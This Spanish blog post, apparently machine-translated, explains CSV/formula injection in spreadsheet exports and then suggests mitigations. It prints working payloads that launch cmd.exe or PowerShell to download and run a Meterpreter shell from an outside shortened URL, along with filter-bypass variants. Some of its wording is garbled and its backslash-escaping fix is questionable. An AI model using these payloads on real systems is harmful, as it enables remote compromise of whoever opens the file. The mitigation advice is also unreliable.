Los expertos de seguridad web mencionan que
un atacante puede explotar esta funcionalidad mediante la inserción de
caracteres arbitrarios en formas que sean exportables (sea esto a través de un
análisis, contactos u otras funcionalidades). Permitiendo en consecuencia, a
dicho atacante pueda formular una carga útil de ataque que se ejecuta cuando
dicho archivo CSV se descarga y podría romper seguridad perimetral.
El escenario de este ataque se dirige puramente al usuario
(s) que descarga el archivo CSV, naturalmente, este ataque de seguridad web se
suele descartar como un problema sin embargo sitios web todavía deben estar al
tanto de la información que están exportando porque puede ser potencialmente
perjudicial para seguridad perimetral de los usuarios.
El playload más común visto es similar a la que se muestra a
continuación:
=cmd|’ /C
calc’!A0
Esta cadena en su núcleo, le está diciendo esencialmente al programa
que está abierto con el programa que le gustaría ejecutar cmd.exe con las
siguientes banderas /C calc que a su vez pondrán en marcha calc.exe desde la
línea de comandos.
Para formular un payload meterpreter en la víctima, hemos
adaptado una cadena de payload para que sea más corto y más fácil de inyectar,
como resultado, el siguiente payload se puede utilizar
=cmd|'/C powershell IEX(wget 0r.pe/p)'!A0
Donde en este caso url cortado 0r.pe es utilizado para entregar
el payload para no ser detectado por seguridad perimetral(Invoke-Shellcode) que
es una función de Powersploit para permitir la entrega de meterpreteshells.
Para acortar el payload aún más la siguiente cadena también se puede utilizar,
que corta la necesidad de la cadena de cmd.
=powershell|'IEX(wget 0r.pe/p)'!A0
Esto directamente lanzará PowerShell desde la célula afectada en
editor de hojas de cálculo de su elección. Estos payloads están todos muy bien
y bien sin embargo, la mayoría de las veces que no he estado viendo el =
carácter está siendo filtrado hacia fuera menciona experto de seguridad web de iicybersecurity
IICS.
Sin embargo, utilizando el conocimiento personal Microsoft Excel
y seguridad web, también es posible intact el payload usando otras
combinaciones de caracteres tales como @, + o – en una variedad de diferentes
combinaciones.
@SUM(1+1)*cmd|’
/C calc’!A0
O para cuantificar el peligro:
@SUM(1+1)*cmd|' powershell IEX(wget 0r.pe/p)'!A0
Una vez dicho todo esto y hablado de los diversos payloads hay
pasos de mitigación que se pueden tomar para eliminar más o menos la amenaza de
secuencias de comandos PowerShell que infestan el sistema de un usuario con
shells acuerdo a los expertos de seguridad web de International Institute of
Cyber Security.
PASOS PARA LA
MITIGACIÓN
Las medidas recomendadas para remediar este problema de
seguridad web se han descrito anteriormente sería asegurar que las formulario
que se pueden exportar si contengan únicamente caracteres alfanuméricos y no
puedan ser modificados para añadir caracteres arbitrarios.
También se debe considerar que todas las entradas de los
usuarios no pueden ser de confianza y como resultado cualquier salida
debe ser codificada. La salida de esta funcionalidad se debe asumir como texto
y no fórmulas. Lo que podrían adoptarse medidas para designar fácilmente como
tal al colocar las cotizaciones en todo el texto o la aplicación de
características de escape como se describe y se demuestra a continuación según
curso de seguridad perimetral.
El problema con los vectores de inyección CSV discutidos arriba
no tiene en realidad que ver con el carácter @, o =, +, -. El problema radica
en el carácter pipe (|), el cual Excel y otras aplicaciones interpretan para
ejecutar comandos {arbitrarios} y windows lanza binarios. De la lectura de los
ataques de seguridad web y la investigación de las posibles técnicas de
mitigación con ayuda de expertos de seguridad perimetral que la mejor solución
es escapar del carácter pipe en este escenario de ataque es poner un prefijo \
antes del pipe. Esto se debe a que Excel y otros programas que buscan un
ejecutable llamado cmd.exe o powershell.exe sin embargo, cuando añadiendo
un \ dentro de la trayectoria evitará el lanzamiento de exe.
Además también hemos escrito un script en Python para escapar de
archivos CSV que se pueden ver a continuación, es una prueba rápida del
concepto sin embargo se puede adaptar fácilmente:
def
escape(payload):
if payload[0] in (‘@’,’+’,’-‘, ‘=’,
‘|’):
payload = payload.replace(“|”,
“\|”)
payload = “‘” + payload +
“‘”
return payload
# An example
of payload string payload
= “@cmd|’ /C
calc’!A0”
print “The
Unescaped version is: ” + payload
print “When
passed though escape function the value is: ” +
escape(payload)
En el código anterior se puede observar que si una cadena de
payload contiene cualquiera de los caracteres en la lista negra se han evitado
el ataque, esto se demuestra en la salida del script:
root@zsec:#
python escape_csv.py
El
version Unescaped es:
“@cmd|’ /C
calc’!A0”
When passed
though escape function the value is: ‘@cmd\|’ /C calc’!A0′
Note que desde la salida se puede ver que la versión escapada
tiene un conjunto de’ alrededor de la cadena de usuario y el carácter pipe
también se ha escapado. Cabe señalar que los problemas descritos anteriormente
son sólo un tipo de ataque de inyección CSV, esta mitigación no cubre los
ataques sobre seguridad web que se pueden llevar a cabo utilizando la misma
técnica pero con diferentes payloads.
0 comments:
Post a Comment